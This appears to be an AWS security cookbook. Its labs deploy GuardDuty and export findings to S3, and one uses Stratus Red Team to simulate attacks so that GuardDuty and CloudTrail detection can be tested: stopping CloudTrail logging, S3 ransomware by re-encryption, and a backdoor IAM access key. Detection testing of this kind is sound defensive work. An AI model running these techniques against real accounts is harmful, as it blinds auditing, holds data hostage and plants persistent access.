{% content-ref url="/pages/o6dQATjjssd4NRoNsuh7" %}
[Lab: Adversary Simulation Detection with Stratus Red Team and GuardDuty](/academy/aws-security-cookbook-by-tyler/aws-guardduty/lab-adversary-simulation-detection-with-stratus-red-team-and-guardduty)
{% endcontent-ref %}


# Lab: Deploying AWS GuardDuty via Terraform

How to deploy AWS GuardDuty via Terraform

{% hint style="success" %}

## Already Know Terraform?

If you're already familiar with Terraform, feel free to hop over to the [AWS Security Cookbook by Tyler GitHub repository](https://github.com/Ty182/AWS-Security-Cookbook-by-Tyler/tree/main) to grab and deploy the code. Otherwise, stick around and we'll walk through it together!&#x20;
{% endhint %}

## Overview

The Terraform code for this module has been left in a simplified state (i.e., not using modules, loops, or other advanced Terraform features) to be more easily accessible. You can customize it further to meet your specific requirements.

***

## Deployment

{% hint style="danger" %}

## Cost Alert

AWS GuardDuty is a paid service. Enabling related protection plans and features has additional cost.

* <https://docs.aws.amazon.com/guardduty/latest/ug/monitoring_costs.html>
  {% endhint %}

{% code overflow="wrap" %}

```bash
# clone the AWS Security Cookbook repository
git clone https://github.com/Ty182/AWS-Security-Cookbook-by-Tyler

# navigate to AWS GuardDuty directory
cd AWS_Cookbook_by_Tyler/recipes/aws_guardduty/Lab:Deploying_AWS_GuardDuty_via_Terraform

# initialize the directory and download the required terraform providers
terraform init

# check formatting and validate the syntax is correct
terraform fmt && terraform validate

# check the resources that will be created
terraform plan 

# deploy the resources
terraform apply
```

{% endcode %}

* Once complete, head to the AWS GuardDuty console and check it out!

<figure><img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2FQcKVAgYfrCsNGrkqfXNq%2Fgd_enrolled_accounts.png?alt=media&amp;token=956ffe98-50b0-473c-9612-9981021d56c2" alt=""><figcaption><p>AWS GuardDuty Console</p></figcaption></figure>

***

## Generate Findings

Until alerts get generated, your GuardDuty console will be pretty lackluster. We'll learn how to create findings in a future lab, but for now, you can explore sample findings.&#x20;

In the AWS console, go to `GuardDuty > Settings > Sample findings and click Generate sample findings`. This will create one sample from each of the GuardDuty finding types, prefixing each with `[SAMPLE]` for easy identification. There is no charge for this!

<figure><img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2FxARTBx4obIOTMKuKDta0%2FCleanShot%202025-04-07%20at%2015.40.23%402x.png?alt=media&amp;token=72ebea18-c57f-4f1b-8234-0a6de1c474a8" alt=""><figcaption><p>generate sample findings</p></figcaption></figure>

Now, our GuardDuty instance is filled with some fun results to explore!&#x20;

<figure><img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2FWoDKc3o2tZE7Vv1i191K%2FCleanShot%202025-04-07%20at%2015.42.09%402x.png?alt=media&amp;token=d4220912-3401-4e47-bc56-7efcb1cf3eff" alt=""><figcaption><p>GuardDuty Summary</p></figcaption></figure>

<figure><img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2FRpqDZ2qi8VXb3tuljkMQ%2FCleanShot%202025-04-07%20at%2015.43.19%402x.png?alt=media&amp;token=94014217-e465-43af-bc55-b8d1d7840bc4" alt=""><figcaption><p>GuardDuty Findings</p></figcaption></figure>

***

## Cleanup

{% hint style="danger" %}

## Clean up the resources

Avoid unnecessary costs by deleting the created resources

`terraform destroy`
{% endhint %}


# Lab: Logging GuardDuty Findings to S3

How to export GuardDuty logs to Amazon S3

{% hint style="success" %}

## Already Know Terraform?

If you're already familiar with Terraform, feel free to hop over to the [AWS Security Cookbook by Tyler GitHub repository](https://github.com/Ty182/AWS-Security-Cookbook-by-Tyler/tree/main) to grab and deploy the code. Otherwise, stick around and we'll walk through it together!&#x20;
{% endhint %}

## Overview

As of this writing, AWS GuardDuty keeps a history of findings from the [past 90 days](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_exportfindings.html). Most companies will have logging standards to comply with various regulatory and compliance requirements, requiring you to store logs for a designated period, e.g., 1 year.  To help comply with this standard, we can export GuardDuty findings to AWS S3 for both long-term storage and for storing more than 90 days' worth of events. Additionally, you may want the findings stored in S3 for ingesting into other platforms such as a SIEM (Security Information and Event Management) platform. Of course, integration specifics will vary by platform.&#x20;

***

## Deployment&#x20;

{% hint style="danger" %}

## Cost Alert

AWS GuardDuty is a paid service. Enabling related protection plans and features has an additional cost.

* <https://docs.aws.amazon.com/guardduty/latest/ug/monitoring_costs.html> &#x20;

\
AWS S3 is a paid service.&#x20;

* <https://aws.amazon.com/s3/pricing/>

\
AWS KMS is a paid service.&#x20;

* <https://aws.amazon.com/kms/pricing/>
  {% endhint %}

{% code overflow="wrap" %}

```bash
# clone the AWS Security Cookbook repository
git clone https://github.com/Ty182/AWS-Security-Cookbook-by-Tyler

# navigate to AWS GuardDuty directory
cd AWS_Cookbook_by_Tyler/recipes/aws_guardduty/Lab:Logging_GuardDuty_Findings_to_S3

# initialize the directory and download the required terraform providers
terraform init

# check formatting and validate the syntax is correct
terraform fmt && terraform validate

# check the resources that will be created
terraform plan 

# deploy the resources
terraform apply
```

{% endcode %}

***

## Validating Deployment

Once deployed, we can navigate in the AWS Console to `GuardDuty > Settings`and under `Findings export options`we should see our S3 bucket set up. Unless there are any errors here, the deployment should be successful.&#x20;

<figure><img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2FMczEKoS8OPIVaGqJKmK5%2FCleanShot%202025-04-07%20at%2018.46.21%402x.png?alt=media&amp;token=67d78e7b-d887-423d-9e5e-5f2958928655" alt=""><figcaption><p>Guardduty export settings</p></figcaption></figure>

***

## Generating and Exploring Findings

GuardDuty will automatically detect Kali Linux usage, so I generated some alerts by creating an IAM user, deleting S3 objects, and a bucket from a Kali Linux VM. We may look at this in an upcoming lab, but [AWS provides a script](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_findings-scripts.html) that can trigger over 100 GuardDuty alerts.&#x20;

<figure><img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2F1aU3ixU1PAxRaFD2xMfY%2Fgd_findings.png?alt=media&amp;token=4c3b764a-05d4-4fe6-9eb8-67c66db91610" alt=""><figcaption><p>Reviewing GuardDuty findings</p></figcaption></figure>

Once you have some findings, head over to your S3 bucket, and you should start to see some findings trickle in. New alerts should pop in within 5 minutes, but you may just want to take a 15-20min break before checking.&#x20;

<figure><img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2F6hmuwzbrRhjPRh5kN5Ej%2Fgd_s3_export.png?alt=media&amp;token=ef1758eb-f23d-454d-a8a5-d18013050067" alt=""><figcaption><p>Guardduty findings in s3</p></figcaption></figure>

Download one of the objects to explore more. Please note that these files will contain sensitive data like IP addresses, so I've redacted some information in the output below.&#x20;

{% code overflow="wrap" %}

````json
```json
{
    "accountId": "111111111111",
    "arn": "arn:aws:guardduty:us-east-1:111111111111:detector/accb09178fdcb8e9fd6d2f4678727bd0/finding/f0cb095e1b018f0e7d390d373035710a",
    "createdAt": "2025-04-08T00:10:46.659Z",
    "id": "f0cb095e1b018f0e7d390d373035710a",
    "partition": "aws",
    "region": "us-east-1",
    "resource": {
        "accessKeyDetails": {
            "accessKeyId": "AKIA[SNIP]",
            "principalId": "AIDA[SNIP]",
            "userName": "kali",
            "userType": "IAMUser"
        },
        "resourceType": "S3Bucket",
        "s3BucketDetails": [
            {
                "name": "deletemekali-[SNIP]",
                "type": "Destination"
            }
        ]
    },
    "schemaVersion": "2.0",
    "service": {
        "action": {
            "actionType": "AWS_API_CALL",
            "awsApiCallAction": {
                "affectedResources": {},
                "api": "DeleteObject",
                "callerType": "Remote IP",
                "remoteIpDetails": {
                    "city": {
                        "cityName": "[SNIP]"
                    },
                    "country": {
                        "countryName": "United States"
                    },
                    "geoLocation": {
                        "lat": [SNIP],
                        "lon": [SNIP]
                    },
                    "ipAddressV4": "[SNIP]",
                    "organization": {
                        "asn": "[SNIP]",
                        "asnOrg": "[SNIP]",
                        "isp": "[SNIP]",
                        "org": "[SNIP]"
                    }
                },
                "serviceName": "s3.amazonaws.com"
            }
        },
        "additionalInfo": {
            "authenticationMethod": "AuthHeader",
            "value": {
                "authenticationMethod": "AuthHeader"
            },
            "type": "default"
        },
        "archived": false,
        "count": 1,
        "detectorId": "accb09178fdcb8e9fd6d2f4678727bd0",
        "eventFirstSeen": "2025-04-08T00:05:38.000Z",
        "eventLastSeen": "2025-04-08T00:05:38.000Z",
        "resourceRole": "TARGET",
        "serviceName": "guardduty"
    },
    "severity": 5,
    "type": "PenTest:S3/KaliLinux",
    "updatedAt": "2025-04-08T00:10:46.659Z",
    "title": "The API DeleteObject was invoked from a remote host potentially running Kali Linux.",
    "description": "An API was used to access an S3 Bucket from a remote host that is potentially running the Kali Linux penetration testing tool."
}
```
````

{% endcode %}

***

## Cleanup

{% hint style="danger" %}

## Clean up the resources

Avoid unnecessary costs by deleting the created resources

`terraform destroy`
{% endhint %}


# Lab: Adversary Simulation Detection with Stratus Red Team and GuardDuty

Detecting Adversaries with GuardDuty

{% hint style="success" %}

## Already Know Terraform?

If you're already familiar with Terraform, feel free to hop over to the [AWS Security Cookbook by Tyler GitHub repository](https://github.com/Ty182/AWS-Security-Cookbook-by-Tyler/tree/main) to grab and deploy the code. Otherwise, stick around and we'll walk through it together!&#x20;
{% endhint %}

## Overview

In this lab, we'll explore a free tool from DataDog called [Stratus Red Team](https://stratus-red-team.cloud/). To keep things short, I'll just refer to it as "stratus" from here on out. Stratus enables us to simulate adversarial attacks against cloud environments like AWS using attack techniques aligned to [MITRE ATT\&CK](https://attack.mitre.org/). It's a useful tool for evaluating our defenses and ensuring the ability to detect these techniques. We'll take a look at how we can use GuardDuty to detect some of these threats although it will not be able to detect everything. This is why it's crucial to continuously be testing our detection ability.&#x20;

***

## Deployment&#x20;

{% hint style="danger" %}

## Cost Alert

AWS GuardDuty is a paid service. Enabling related protection plans and features has an additional cost.

* <https://docs.aws.amazon.com/guardduty/latest/ug/monitoring_costs.html> &#x20;

\
Stratus Red Team deploys resources to your account, so depending on the attacks you choose to use, there may be additional costs.&#x20;
{% endhint %}

{% hint style="info" %}
We will reuse the code from [Lab: Deploying AWS GuardDuty via Terraform](/academy/aws-security-cookbook-by-tyler/aws-guardduty/lab-deploying-aws-guardduty-via-terraform)
{% endhint %}

{% code overflow="wrap" %}

```bash
# clone the AWS Security Cookbook repository
git clone https://github.com/Ty182/AWS-Security-Cookbook-by-Tyler

# navigate to AWS GuardDuty directory
cd AWS_Cookbook_by_Tyler/recipes/aws_guardduty/Lab:Deploying_AWS_GuardDuty_via_Terraform

# initialize the directory and download the required terraform providers
terraform init

# check formatting and validate the syntax is correct
terraform fmt && terraform validate

# check the resources that will be created
terraform plan 

# deploy the resources
terraform apply
```

{% endcode %}

***

## Validating Deployment

Make sure that your GuardDuty instance is functioning. You can run this command to check the presence of a detector. (Your detector id will be different)

{% code overflow="wrap" %}

```bash
aws guardduty list-detectors --region us-east-1                                                   
{
    "DetectorIds": [
        "38cb09ae7f41a0a239d93849ec821660"
    ]
}
```

{% endcode %}

***

## Stratus Red Team

### Installation

The official GitHub repo for stratus provides [installation instructions](https://github.com/DataDog/stratus-red-team#installation). I'll be using Homebrew to install like so,&#x20;

{% code overflow="wrap" %}

```bash
brew tap datadog/stratus-red-team https://github.com/DataDog/stratus-red-team
brew install datadog/stratus-red-team/stratus-red-team
```

{% endcode %}

We can then validate it installed,&#x20;

{% code overflow="wrap" %}

```bash
stratus version 
2.23.1
```

{% endcode %}

### Documentation

Stratus provides nice documentation so I won't duplicate here. Check out the [User Guide](https://stratus-red-team.cloud/user-guide/getting-started/) or view all the [types of attacks](https://stratus-red-team.cloud/attack-techniques/list/) to dive deeper.

***

## Attack Simulation

### Disabling CloudTrail Logging

AWS GuardDuty is able to detect when CloudTrail logging gets disabled via [Stealth:IAMUser/CloudTrailLoggingDisabled](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#stealth-iam-cloudtrailloggingdisabled) without enabling additional protection plans. Stratus can be used to test the detection. It works by creating a new CloudTrail trail and then stopping the trail.&#x20;

#### Detonating the attack

{% code overflow="wrap" %}

```bash
stratus detonate aws.defense-evasion.cloudtrail-stop   
    
2025/04/07 21:51:55 Checking your authentication against AWS
2025/04/07 21:51:57 Warming up aws.defense-evasion.cloudtrail-stop
2025/04/07 21:51:57 Initializing Terraform to spin up technique prerequisites
2025/04/07 21:52:04 Applying Terraform to spin up technique prerequisites
2025/04/07 21:52:12 CloudTrail trail arn:aws:cloudtrail:us-east-1:796973515159:trail/stratus-red-team-ct-stop-trail-vtnvgeugpz ready
2025/04/07 21:52:12 Stopping CloudTrail trail stratus-red-team-ct-stop-trail-vtnvgeugpz
```

{% endcode %}

#### Checking trail status

We should be able to see the trail in AWS.&#x20;

{% code overflow="wrap" %}

```bash
aws cloudtrail describe-trails | jq -r '.trailList[].Name'

stratus-red-team-ct-stop-trail-vtnvgeugpz
```

{% endcode %}

And check whether it's logging or not (it should be set to `false`)&#x20;

{% code overflow="wrap" %}

```bash
aws cloudtrail get-trail-status --name stratus-red-team-ct-stop-trail-vtnvgeugpz | jq -r '.IsLogging'

false
```

{% endcode %}

#### Detecting the attack

Give this some time for the detection to show up. For me it took 17 minutes before the finding was available.&#x20;

<figure><img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2FOXCWCBKDCSTqZ7RHMlza%2FCleanShot%202025-04-07%20at%2022.10.06%402x.png?alt=media&amp;token=38f24239-36cc-4320-b44c-c35597b8a015" alt=""><figcaption><p>Guardduty detection for disabling CloudTrail trail</p></figcaption></figure>

Clicking into this detection we can get some more info about the attack and the resources impacted.&#x20;

<figure><img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2FtDyczwfEQ7029AkzKSD7%2FCleanShot%202025-04-07%20at%2022.11.52%402x.png?alt=media&amp;token=aabcf263-f44c-4586-8998-6ac3fed1c67d" alt=""><figcaption><p>Guardduty detection for cloudtrail trail disablement</p></figcaption></figure>

#### Cleaning up the attack

{% code overflow="wrap" %}

```bash
stratus cleanup aws.defense-evasion.cloudtrail-stop --force 

2025/04/07 22:38:48 Cleaning up aws.defense-evasion.cloudtrail-stop
2025/04/07 22:38:48 Cleaning up technique prerequisites with terraform destroy
+-------------------------------------+-----------------------+--------+
| ID                                  | NAME                  | STATUS |
+-------------------------------------+-----------------------+--------+
| aws.defense-evasion.cloudtrail-stop | Stop CloudTrail Trail | COLD   |
+-------------------------------------+-----------------------+--------+
```

{% endcode %}

***

### S3 Ransomeware via Client-Side Encryption

AWS GuardDuty detected this S3 ransomware attack via [AttackSequence:S3/CompromisedData](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty-attack-sequence-finding-types.html#attack-sequence-s3-compromised-data) which requires the S3 Protection Plan. Stratus can be used to test the detection. It works by creating an S3 bucket with objects and then re-encrypting them with an external KMS key thereby mimicking a ransomware attack.

#### Detonating the attack

{% code overflow="wrap" %}

```bash
stratus detonate aws.impact.s3-ransomware-client-side-encryption

2025/04/07 22:46:17 Checking your authentication against AWS
2025/04/07 22:46:19 Warming up aws.impact.s3-ransomware-client-side-encryption
2025/04/07 22:46:19 Initializing Terraform to spin up technique prerequisites
2025/04/07 22:46:24 Applying Terraform to spin up technique prerequisites
2025/04/07 22:46:36 S3 bucket stratus-red-team-ransomware-bucket-snqkxj containing 51 fake objects ready
2025/04/07 22:46:36 Simulating a ransomware attack on bucket stratus-red-team-ransomware-bucket-snqkxj
2025/04/07 22:46:40 Successfully downloaded all objects from the bucket
2025/04/07 22:46:40 Listing objects in bucket stratus-red-team-ransomware-bucket-snqkxj
2025/04/07 22:46:40 Found 51 objects to encrypt
2025/04/07 22:46:40 Encrypting all objects one by one with the secret AES256 encryption key '427fc7323cfb4b58f630789d372476fb'
2025/04/07 22:46:45 Successfully encrypted all objects in the bucket
2025/04/07 22:46:45 Uploading fake ransom note
```

{% endcode %}

#### Detecting the attack

Give this some time for the detection to show up. For me it took nearly an hour before the finding was available.&#x20;

<figure><img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2FF6TmDcLVBoDALo01tPDi%2FCleanShot%202025-04-07%20at%2023.23.29%402x.png?alt=media&amp;token=f595a031-9815-4392-ab3f-9d3582437d4b" alt=""><figcaption><p>Guardduty detection for ransoming s3 data</p></figcaption></figure>

Clicking into this detection we can get some more info about the attack and the resources impacted.&#x20;

<figure><img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2FyjHHMTUmYCOSLNtyacdF%2FCleanShot%202025-04-07%20at%2023.25.10%402x.png?alt=media&amp;token=35cd9d62-e38f-4195-b78c-cb1bfe6e6b34" alt=""><figcaption><p>GuardDuty detection for ransomware s3 attack</p></figcaption></figure>

#### Cleaning up the attack

{% code overflow="wrap" %}

```bash
stratus cleanup aws.impact.s3-ransomware-client-side-encryption --all --force 

2025/04/07 22:50:16 Cleaning up aws.impact.s3-ransomware-client-side-encryption
2025/04/07 22:50:16 Reverting detonation of technique aws.impact.s3-ransomware-client-side-encryption
2025/04/07 22:50:16 Decrypting all files in the bucket
2025/04/07 22:50:16 Listing objects in bucket stratus-red-team-ransomware-bucket-snqkxj
2025/04/07 22:50:17 Found 52 objects to encrypt
2025/04/07 22:50:17 Decrypting all objects one by one with the secret AES256 encryption key '427fc7323cfb4b58f630789d372476fb'
2025/04/07 22:50:29 Successfully encrypted all objects in the bucket
2025/04/07 22:50:29 Cleaning up technique prerequisites with terraform destroy
+-------------------------------------------------+----------------------------------------------+--------+
| ID                                              | NAME                                         | STATUS |
+-------------------------------------------------+----------------------------------------------+--------+
| aws.impact.s3-ransomware-client-side-encryption | S3 Ransomware through client-side encryption | COLD   |
+-------------------------------------------------+----------------------------------------------+--------+
```

{% endcode %}

***

### Backdoor an IAM User

AWS GuardDuty will **not** detect this technique unless it can be correlated with other anomalous/suspicious activity. Stratus creates an IAM Access Key for an IAM User which is a technique adversaries might use to maintain access in an environment. IAM Users can have up to 2 access keys.

#### Detonating the attack

{% code overflow="wrap" %}

```bash
stratus detonate aws.persistence.iam-backdoor-user  
                                                 
2025/04/07 22:16:11 Checking your authentication against AWS
2025/04/07 22:16:13 Warming up aws.persistence.iam-backdoor-user
2025/04/07 22:16:13 Initializing Terraform to spin up technique prerequisites
2025/04/07 22:16:19 Applying Terraform to spin up technique prerequisites
2025/04/07 22:16:24 IAM user stratus-red-team-backdoor-u-user ready
2025/04/07 22:16:24 Creating access key on legit IAM user to simulate backdoor
2025/04/07 22:16:24 Successfully created access key AKIA[SNIP]
```

{% endcode %}

#### Checking IAM User

We can validate the access key was created.&#x20;

{% code overflow="wrap" %}

```bash
aws iam list-access-keys --user-name stratus-red-team-backdoor-u-user

{
    "AccessKeyMetadata": [
        {
            "UserName": "stratus-red-team-backdoor-u-user",
            "AccessKeyId": "AKIA[SNIP]",
            "Status": "Active",
            "CreateDate": "2025-04-08T04:16:25+00:00"
        }
    ]
}
```

{% endcode %}

#### Detecting the attack

As mentioned, GuardDuty doesn't pick up on this particular action unless the access key is later used for malicious/anomalous activity which can be picked up by other GuardDuty findings types. However, we can rely on CloudTrail logs to discover the activity (and the same can be done for the other attacks).&#x20;

If there isn't a CloudTrail lab by the time you're reading this, I'll have one in the future.&#x20;

The CloudTrail event name is called `CreateAccessKey` and the raw log can be seen below.&#x20;

```json
{
    "eventVersion": "1.10",
    "userIdentity": {
        "type": "IAMUser",
        "principalId": "AIDA3TD2SYGLUBO6EUVLE",
        "arn": "arn:aws:iam::111111111111:user/stratus",
        "accountId": "111111111111",
        "accessKeyId": "AKIA3T[SNIP]",
        "userName": "stratus"
    },
    "eventTime": "2025-04-08T04:16:25Z",
    "eventSource": "iam.amazonaws.com",
    "eventName": "CreateAccessKey",
    "awsRegion": "us-east-1",
    "sourceIPAddress": "[SNIP]",
    "userAgent": "stratus-red-team_588b9cbb-c712-4e8e-841f-604e6e6b7b78",
    "requestParameters": {
        "userName": "stratus-red-team-backdoor-u-user"
    },
    "responseElements": {
        "accessKey": {
            "userName": "stratus-red-team-backdoor-u-user",
            "accessKeyId": "AKIA3T[SNIP]",
            "status": "Active",
            "createDate": "Apr 8, 2025, 4:16:25 AM"
        }
    },
    "requestID": "16d3e3ef-e863-47f7-b5cc-ddd22445a479",
    "eventID": "8a210698-8dcd-4817-9e3a-687315b823a1",
    "readOnly": false,
    "eventType": "AwsApiCall",
    "managementEvent": true,
    "recipientAccountId": "111111111111",
    "eventCategory": "Management",
    "tlsDetails": {
        "tlsVersion": "TLSv1.3",
        "cipherSuite": "TLS_AES_128_GCM_SHA256",
        "clientProvidedHostHeader": "iam.amazonaws.com"
    }
}
```

#### Cleaning up the attack

{% code overflow="wrap" %}

```bash
stratus cleanup aws.persistence.iam-backdoor-user --all --force

2025/04/07 23:28:18 Cleaning up aws.persistence.iam-backdoor-user
2025/04/07 23:28:18 Cleaning up technique prerequisites with terraform destroy
+-----------------------------------+-------------------------------------+--------+
| ID                                | NAME                                | STATUS |
+-----------------------------------+-------------------------------------+--------+
| aws.persistence.iam-backdoor-user | Create an Access Key on an IAM User | COLD   |
+-----------------------------------+-------------------------------------+--------+
```

{% endcode %}

***

## Cleanup

{% hint style="danger" %}

## Clean up the resources

Avoid unnecessary costs by deleting the created resources (your GuardDuty deployment)

`terraform destroy`

\
This should delete all resources created by Stratus

`stratus cleanup <attack> --all --force`

e.g., `stratus cleanup aws.persistence.iam-backdoor-user --all --force`
{% endhint %}


# AWS IAM

An overview of the AWS Identity Access Management (IAM) Service

## AWS Identity Access Management (IAM)

As cloud security professionals, it's imperative that we understand how identity and access is managed within AWS.

### Theory

Learn the theory of the AWS IAM Service — how Users/Groups/Roles authenticate to AWS and are authorized to perform actions within the account.

{% embed url="<https://www.youtube.com/watch?v=mfQ1cd1dIK0>" %}

### Hands-On

Time to get hands-on with IAM! Let's create Users, Groups, and Roles and learn how to set up and use them.&#x20;

{% embed url="<https://www.youtube.com/watch?v=WcCtyUXXpPw>" %}

***

## AWS Identity Center

AWS Identity Center expands on the IAM service by providing the ability to centrally manage identity and access across an AWS Organization (all the accounts!).

### Theory

Learn the theory of AWS Identity Center — how we integrate with AWS Organizations and centrally manage all of our users and permissions across all of our AWS accounts.&#x20;

{% embed url="<https://www.youtube.com/watch?v=pegqX2pLceg>" %}

### Hands-On

Coming soon!

Time to get hands-on with IAM Identity Center! We'll learn how to setup and configure AWS Identity Center in an Organization. Then we'll create and deploy identities and permissions to a member AWS account!


# AWS Organizations

An overview of AWS Organizations

## 📖 Introduction to AWS Organizations

<img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2Fm8BktbhuDnvQiHiPMkxW%2Ffile.excalidraw.svg?alt=media&amp;token=21245381-12f0-4ba3-8f94-87f7661a78b4" alt="Depiction of an AWS Organization OU Structure" class="gitbook-drawing">

AWS Organizations is a service that allows you to centrally manage and govern your environment as you grow and scale your AWS resources. It enables you to consolidate multiple AWS accounts into an Organizational Unit (OU) structure. With AWS Organizations, you can automate account creation, apply policies to groups of accounts, and simplify billing by using a single payment method for all your accounts.

***

## 🗒️ Understanding AWS Organization's Features

These highlight the immediate features of AWS Organizations you get after enabling. However, once you have an Organization setup, you can more easily centralize the deployment and management of other AWS services such as AWS Identity Center, CloudTrail, Config, GuardDuty, and more.&#x20;

### 1. Organizational Management

Structure your AWS accounts into different OUs e.g., an OU for Production accounts and an OU for Development accounts.

### 2. Security and Compliance

Apply Service Control Policies (SCPs), Resource Control Policies (RCPs), Declarative Policies, Tagging Policies, AI Policies, and more to ensure that accounts adhere to your organization's security and compliance requirements. These can be applied to the Root OU, other OUs, and individual AWS accounts.&#x20;

### 3. Centralized Billing

All of your billing can be configured and centralized across your AWS accounts.&#x20;

***

## 📚 Additional Resources

* [AWS Organizations Documentation](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_introduction.html)

***

## 🏗️ Hands-on Exercises

{% content-ref url="/pages/m2XA2UlGeKRk22gePker" %}
[Lab: Deploying AWS Organizations via Terraform](/academy/aws-security-cookbook-by-tyler/aws-organizations/lab-deploying-aws-organizations-via-terraform)
{% endcontent-ref %}


# Lab: Deploying AWS Organizations via Terraform

How to deploy AWS Organizations via Terraform

{% hint style="success" %}

## Already Know Terraform?

If you're already familiar with Terraform, feel free to hop over to the [AWS Security Cookbook by Tyler GitHub repository](https://github.com/Ty182/AWS-Security-Cookbook-by-Tyler/tree/main) to grab and deploy the code. Otherwise, stick around and we'll walk through it together!&#x20;
{% endhint %}

## Overview

The Terraform code for this module has been left in a simplified state (i.e., not using modules, loops, or other advanced Terraform features) to be more easily accessible. You can customize it further to meet your specific requirements.

## Deployment

{% hint style="danger" %}

## Cost Alert

AWS Organizations is offered at no additional charge. You are charged only for AWS resources that users and roles in your member accounts use.

* <https://docs.aws.amazon.com/organizations/latest/userguide/pricing.html>
  {% endhint %}

{% code overflow="wrap" %}

```bash
# clone the AWS Security Cookbook repository
git clone https://github.com/Ty182/AWS-Security-Cookbook-by-Tyler

# navigate to AWS Organizations directory
cd AWS_Cookbook_by_Tyler/recipes/aws_organizations/code

# initialize the directory and download the required terraform providers
terraform init

# check formatting and validate the syntax is correct
terraform fmt && terraform validate

# check the resources that will be created
terraform plan 

# deploy the resources
terraform apply
```

{% endcode %}

* Once complete, head to the AWS Organizations console and check it out!

<figure><img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2FzWXonky5G20sdGK3oxBQ%2FCleanShot%202025-02-26%20at%2016.53.44%402x.png?alt=media&amp;token=c1fb6a24-63e5-4db0-864c-5684361b3162" alt=""><figcaption><p>AWS Organizations console</p></figcaption></figure>

## Cleanup

{% hint style="danger" %}

## Clean up the resources

Avoid unnecessary costs by deleting the created resources

`terraform destroy`
{% endhint %}


# AWS Root Account Management

An overview of AWS Root Account Management

## 📖 Introduction to AWS Root Account Management

When a new AWS account is created, it includes a Root user with full access to all AWS services and resources. If the Root user credentials are compromised, this poses a significant security risk. AWS Root Account Management mitigates this risk by restricting Root user access and allowing temporary elevation to Root permissions when necessary.

***

## 🗒️ Understanding AWS Root Account Management's Features

### 1. Prevent New Root Users

Once enabled, new Root users are not created in new AWS accounts. Additionally, you are no longer able to password reset the Root user (unless you leverage [Privileged Actions](broken://spaces/nifta9NF2S4YdshFXhOF)).&#x20;

<figure><img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2F0YFNtmg1VuyJl4uvDlPf%2Fimage.png?alt=media&amp;token=98e79a9a-e5a9-4b4c-ae63-211c7ffb8666" alt=""><figcaption><p>Failed password recovery for root user</p></figcaption></figure>

### 2. Auditing Root User Credentials

We gain insights into:

* Which AWS accounts have the Root user enabled
* Whether the Root user has MFA enabled
* Whether the Root user has a console password set
* Whether the Root user has Signing Certificates enabled

<figure><img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2FuwMJt7692JUkSQcgFcSa%2Fimage.png?alt=media&amp;token=39072c6e-95fd-481f-b78a-7716a9502589" alt=""><figcaption><p>Root access management console</p></figcaption></figure>

### 3. Privileged Actions

Privileged actions allow us to assume the root user credentials for 15 minutes. Here are some of the actions we can perform:

* **Delete S3 bucket policy**: Useful when you've misconfigured a bucket policy and locked yourself out. We can use the Root user to resolve this.
* **Delete SQS queue policy**: Useful when you've misconfigured a queue policy and locked yourself out. We can use the Root user to resolve this.
* **Delete root user credentials**: Removes the Root user's credentials from a member account.

<figure><img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2FgqauN1k0MSTAR3BKOubA%2Fimage.png?alt=media&amp;token=dd8676bd-1092-4f2a-91ce-2c09dca64f8b" alt=""><figcaption><p>Privileged actions as the root user</p></figcaption></figure>

***

## 📚 Additional Resources

* [AWS Root Account Management Documentation](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-enable-root-access.html)

***

## 🏗️ Hands-on Exercises&#x20;

{% content-ref url="/pages/xPcMwwIzB2MotblmUV3z" %}
[Lab: Deploying AWS Root Account Management via Terraform](/academy/aws-security-cookbook-by-tyler/aws-root-account-management/lab-deploying-aws-root-account-management-via-terraform)
{% endcontent-ref %}


# Lab: Deploying AWS Root Account Management via Terraform

How to deploy AWS Root Account Management via Terraform

{% hint style="success" %}

## Already Know Terraform?

